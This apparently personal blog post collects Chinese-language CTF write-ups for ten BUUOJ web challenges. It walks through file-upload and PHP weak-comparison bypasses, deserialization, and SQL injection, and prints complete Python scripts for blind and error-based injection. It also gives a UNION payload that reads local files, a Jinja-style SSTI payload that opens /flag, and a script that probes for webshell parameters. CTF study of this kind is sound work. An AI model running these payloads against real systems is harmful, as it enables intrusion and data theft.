BUUOJ-Web题目-3

[ACTF2020 新生赛]Upload

[极客大挑战 2019]BuyFlag

[ZJCTF 2019]NiZhuanSiWei

[CISCN2019 华北赛区 Day2 Web1]Hack World

[BJDCTF2020]Easy MD5

[网鼎杯 2018]Fakebook

[强网杯 2019]高明的黑客

[极客大挑战 2019]HardSQL

[BJDCTF 2nd]fake google

[GXYCTF2019]BabySQli

[ACTF2020 新生赛]Upload

注意到鼠标移动到中间就能上传了,再看看这边验证似乎使用的是main.js,前端验证

看看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

phtml老套路绕过

image.png

那我们传个获取flag的文件上去

image.png

[极客大挑战 2019]BuyFlag

Menu拿到菜单,里面有个Payflag

那么我们可以看下源码,注意到里面有一个关键点

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

传一个POST型的404过去,Cookie中的user改成1

image.png

感觉有点奇特,在浏览器看看

然而没看出来,百度wp得知参数叫money。。。

操作一下拿flag

image.png

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

其中useless.php已经存在了,猜测我们需要读取这个php的内容

用了include,猜测可以使用php伪协议。

image.png

还原为源码后,得到以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

直接反序列化,完事(echo的时候会调用__tostring方法)

那么就本地写个php

image.png

1
2
3
4
5
6
7
8
9
10
11
12
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){
return ("flag{893bb611-81d7-4664-80ca-aa03d085b71d}");
}

?>

注意这里fileinclude一下useless.php,不然就没有类去让你反序列化了。

[CISCN2019 华北赛区 Day2 Web1]Hack World

可以发现过滤了一些字符,比如/*,空格,--+

然后不会了,看了下wp可以异或+布尔盲注

然后今晚更新了下以前写的布尔盲注的脚本,以后有空再加个二分的功能,总之感觉不错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import sys
import requests
import string
import time

config_html = 'http://f5c6207a-3b86-46f0-b7bf-6317ab65d106.node3.buuoj.cn/index.php'

config_method = 'POST'

config_key = 'id'

config_data = {
'id' : '{0}'
}

config_length = '0^(char_length({0}){1})'

config_line = '0^({0}{1})'

config_success_flag = 'Hello, glzjin wants a girlfriend.'

config_failed_flag = 'Error Occured When Fetch Result.'

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

config_data_range = string.digits + 'abcdeflg' + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def concat_line_length(cmd,i):
return config_length.format(cmd,'>=' + str(i))

def concat_line_value(cmd,ret,i):
return config_line.format(cmd,'>=' + 'CHAR(' + ','.join(ret) + ',' + str(ord(i)) + ')')

def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
continue
else:
print('[+] {0} length: {1}'.format(cmd,i - 1))
return i - 1
print('[-] Search Length Failed...')
return 0

def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length-len(preline)):
last = ''
fg = False
for i in config_data_range:
ret2 = []
for j in ret:
ret2.append(str(ord(j)))
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_value(cmd,ret2,i))):
last = i
continue
else:
fg = True
ret.append(last)
last = ''
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret

def flag(db_column,db_table):
cmd = "(SELECT({0})FROM({1}))".format(db_column,db_table)
data_length = get_length_line(cmd)
#data_length = 42
return get_value_line(cmd,data_length,'flag{')

flag('flag','flag')

image.png

[BJDCTF2020]Easy MD5

输入一个东西会变成一个passwordGET参数,没看出来啥,先扫一遍目录再说

扫不出来,burp卡一下看看

image.png

好,ffifdyop完事

跳转后看到以下源码

image.png

注意是弱比较,使用一些特殊的MD5即可绕过

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
QNKCDZO	0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s532378020a 0e220463095855511507588041205815
240610708 0e462097431906509019562988736854

0e会被当成科学计数法来解析,从而判断相等

然后我们来试试最后一步,得到源码

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
?>

这把是强判断,不过PHP中MD5函数会在解析错误时返回null,两个null是相等的。

试一下:

image.png

image.png

[网鼎杯 2018]Fakebook

robots.txt泄露了备份文件,从而拿到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
?>

发现使用curl来进行传输,不过无法得到外网的内容,应该不是用http协议

然后我不会了,查一波题解

好吧,可以用get型注入,确实没看到

试一下,可以用命令时间盲注

1
2222/**/OR(sleep(1))OR%20%271%27%27%27

再去看看题解,也可以报错注入,毕竟回显了错误信息。

不过经过尝试,也可以用以下命令:

1
2222/**/OR(sleep(1))%20/*!UNiOn*/%20SelEcT%201,2,3,4%20OR%20%271%27%27%27

但是会触发unserialize的错误,所以暂时不这么操作。

那么我们用extractvalue来获取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests

config_html = 'http://fe03fad7-a5ad-487d-814d-96caa0befc45.node3.buuoj.cn/view.php'

config_method = 'GET'

config_key = 'no'

config_line = 'extractvalue(1,concat(\'~\',(select(group_concat({0})))))'

config_data = {
'no' : '{0}'
}

config_cookies = {
'PHPSESSID':'d6oj11jl7otnel1nr3koa0fpb4'
}

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

def preg_text(s):
return s.split('(XPATH syntax error: \'')[1].split('\')')[0]

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
try:
print(preg_text(r.text))
except IndexError:
print(r.text)

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def use_get(cmd):
get(url = config_html,data = cfg_data(config_line.format(cmd)))

image.png

发现了反序列化,同时是在第四列出现的

那么我们用之前的UNION Payload构造反序列化即可

1
=2222/*!UNiOn*/SelEcT%20'aaaaa',2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

image.png

1
2
3
4
5
<?php

$flag = "flag{4de3f494-54d1-46d8-94b3-6f13fa0ea7f5}";
exit(0);
?>

[强网杯 2019]高明的黑客

提示了备份文件,我们下载看看

下载完后发现一大堆混淆

认真看其中的一个php文件,你会发现有很多无效代码(比如先给GET赋值为空再evalexec一些不能执行的值等等),猜测flag藏在里面的某个文件里。

shell操作一番

1
cat *.php | grep "flag"

没有合适的结果,猜测可能要用这堆文件中的某个shell。

脚本硬跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import sys
import os
import requests
import string
import time
import re

config_html = 'http://4839c2b7-ec12-4663-a3df-6fb4ee94d102.node3.buuoj.cn/'

config_data = dict()

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

config_data_range = string.digits + 'abcdeflg' + '{}-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

def get(method,url,data):
if method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
return r

def cfg_data(d):
data = config_data.copy()
for k,v in d:
data[k] = v
return data

def get_real_val(line,s):
sp = re.search('(?<=_{0}\[)[\S]*(?=\])'.format(s),line).span()
now = line[sp[0]:sp[1]]
if now[0] == '\'' or now[0] == '"':
now = now[1:-1]
return now

def search_line(text):
dc_get = dict()
dc_post = dict()
for line in text:
if '_GET[' in line:
dc_get[get_real_val(line,'GET')] = 'echo \'last_encore\';'
if '_POST[' in line:
dc_post[get_real_val(line,'POST')] = 'echo \'last_encore\';'
if '_REQUEST[' in line:
dc_post[get_real_val(line,'REQUEST')] = 'echo \'last_encore\';'
return dc_get,dc_post

def send_message():
file_list = os.listdir('./src/')
for web in file_list:
io = open('./src/' + web,"r")
dc_get,dc_post = search_line(io.readlines())
#print(config_html + web)
#print(dc_get)
#ret_get = get('GET',config_html + web,dc_get).text
#print(ret_get)
#break
ret_get = get('GET',config_html + web,dc_get).text
ret_post = get('POST',config_html + web,dc_post).text
time.sleep(config_retry_time)
if 'last_encore' in ret_get or 'last_encore' in ret_post:
print('[+] {0} OK!'.format(web))
break
print('[-] {0} Failed...'.format(web))

send_message()

[极客大挑战 2019]HardSQL

报错注入,有一些过滤

空格过滤用括号绕过

等于号过滤用LIKE绕过

出flag用leftright绕过

拼接flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

config_html = 'http://71c32890-1358-4324-a190-a553b050b827.node3.buuoj.cn/check.php'

config_method = 'GET'

config_key = 'password'

config_line = 'extractvalue(1,concat(\'~\',(select(group_concat({0})))))'

config_data = {
'username':'Init',
'password':'new_world\'OR({0})#'
}

config_cookies = {
'PHPSESSID':'Nothing'
}

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

def preg_text(s):
return s.split('XPATH syntax error: \'')[1].split('\'')[0]

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
try:
print(preg_text(r.text))
except IndexError:
print(r.text)

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def use_get(cmd):
get(url = config_html,data = cfg_data(config_line.format(cmd)))

image.png

[BJDCTF 2nd]fake google

进入后看到一个搜索框,随便输点东西就会在新页面显示这个东西。利用script可以实现XSS。

新页面源码提示SSTI,我们可以输入{\{\}\}来观察,发现启动了Internal Server Error。猜测可能是Python后端,用一下Python的SSTI Payload。

1
{{().__class__.__bases__[0].__subclasses__[75].__init__.__globals__.__builtins__[%27open%27](%27/flag%27).read()}}

image.png

一把成功,还真是这样。。。

[GXYCTF2019]BabySQli

image.png

访问下,貌似有个提示,解密一下

Base32解密第一层,得到

image.png

再Base64解密第二层,得到

1
select * from user where username = '$name'

也就是说password没啥用,只有username进来了,读取所有的东西

猜测会提取出其中的密码,和md5密码进行比较,而PHP的MD5函数存在漏洞,试一把

image.png

果然和我想法一样,但是应该不是数组的绕过方式,思考一下有没有别的解决方法

换个套路,使原来的用户不存在,重新SELECT一个新的用户和密码MD5,输入一个密码等于MD5(随便算的)

image.png


BUUOJ-Web题目-3
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-3
Author
John Doe
Posted on
September 21, 2020
Licensed under